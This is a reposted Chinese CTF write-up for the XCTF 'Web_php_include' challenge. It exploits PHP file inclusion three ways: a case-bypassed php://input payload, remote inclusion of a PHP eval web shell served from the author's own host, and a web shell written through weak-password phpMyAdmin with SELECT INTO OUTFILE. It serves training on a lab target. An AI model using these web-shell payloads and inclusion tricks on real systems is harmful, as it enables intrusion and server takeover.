首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

攻防世界 - Web - Level 2 | Web_php_include

  • 25-02-16 18:01
  • 4617
  • 10866
blog.csdn.net

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本关考察的是 PHP 的文件包含漏洞,想要完美的通过此关,你需要知道以下知识点:

  • 文件包含漏洞 => include 可以执行代码 => include(system('ls'))

  • PHP 伪协议 - 我们可以通过下面的伪协议控制 include 的内容:

    • php://input

    • data://text/plain,

  • PHP 伪协议特性:php://input 大小写转换后功能不变 => Php://input

  • Python2 启动 HTTP 服务器命令:python2 -m SimpleHTTPServer 8000

  • Python3 启动 HTTP 服务器命令:python -m http.server 8080

  • 通过数据库写入一句话木马 GET Shell:

    • select "" into outfile '/tmp/hacker.php';

  • PHP 代码审计 - str_replace() 函数可以使用大小写转换绕过。

0x02:Write UP

0x0201:Write UP 01 - PHP 伪协议命令执行

本题存在多种解题方法,解法 01 使用的是利用 PHP 伪协议进行命令执行,登录靶场:

可以看到目标过滤了php://,绕过很简单大小写改一下就好了Php://。我们利用 php://input 进行命令执行,使用 BurpSuite 抓取请求包:

在 get 请求处添加 Payload,进行抓包,并在请求体中包含要执行的命令:

 ?page=Php://input

除了php://input可以使用,其实data://text/plain也可以使用:

 data://text/plain,

0x0202:Write UP 02 - 远程文件包含

解题方法 02 使用的是远程文件包含,来获取 Flag,登录页面,先分析一下代码:

  1.  
  2.  show_source(__FILE__);
  3.  echo $_GET['hello'];
  4.  $page=$_GET['page'];
  5.  while (strstr($page, "php://")) {
  6.      $page=str_replace("php://", "", $page);
  7.  }
  8.  include($page);
  9.  ?>

目标会过滤 php://,不过如果我们不用呢,传入 ?page=http://127.0.0.1 进行测试:

可以看到,他将自己的页面又包含了一遍,于是我就怀疑其存在远程文件包含,不过如果想要利用远程文件包含,需要用到一个服务器,这里我用的自己的阿里云的服务器进行演示。

首先是在服务器任意目录下写入一个一句话木马,我这里为了方便演示,还多打印了一句话:

  1.  
  2.    @eval($_POST['hacker']);
  3.    echo "I am a hacker";
  4.  ?>

然后开启 http 服务,我的服务器上安装了 python2,所以开启服务的命令为:

 python2 -m SimpleHTTPServer 8000

然后在靶场上,输入 payload:

 ?page=http://xxx.xxx.xxx.xxx:8000/shell.php # 这里的 xxx.xxx.xxx.xxx 是服务器的 ip 地址

可以看到,页面上出现了我们写在 shell.php 的命令,然后我们使用蚁剑进行连接:

然后打开终端,非常容易就找到了 flag:

0x0203:Write UP 03 - 管理后台入侵 + 本地文件包含

解题方法 03 使用的是入侵管理后台+本地文件包含来获取 Flag, 打开御剑,对目标靶场进行扫描,可以扫描到一个 phpmyadmin 的后台:

我们直接访问,用户名和密码是弱口令,用户名为root,密码为空,直接就可以登录:

找到执行 SQL 命令的地方,输入如下语句,在目标服务器上写入一句话木马:

 select "" into outfile '/tmp/hacker.php';

一句话木马写入成功,然后到靶场首页,输入下面的 Payload 进行文件包含:

 ?page=/tmp/hacker.php

使用蚁剑进行连接:

然后傻瓜式获取 Flag:

0x03:参考资料

mysql 写入文件的几种方法 - 老白网络MySQL 是一种流行的关系型数据库管理系统。在 MySQL 中,写入文件是一项非常重要的任务,因为它允许您将数据持久化到硬盘上以进行后续分析。在本文中,我们将介绍 MySQL 写入文件的几种方法。 一、使用 SELECT INTO OUTFILE 语句将结果集写...https://www.yzktw.com.cn/post/772476.html
php伪协议实现命令执行,任意文件读取_ctf php文件读取-CSDN博客该文章介绍了PHP伪协议中的file://和php://协议,以及利用data://协议实现了任意文件读取和命令执行的方法。文章还提供了具体的使用示例和注意事项。http://iyenn.com/rec/1646244.html
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/144497923"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top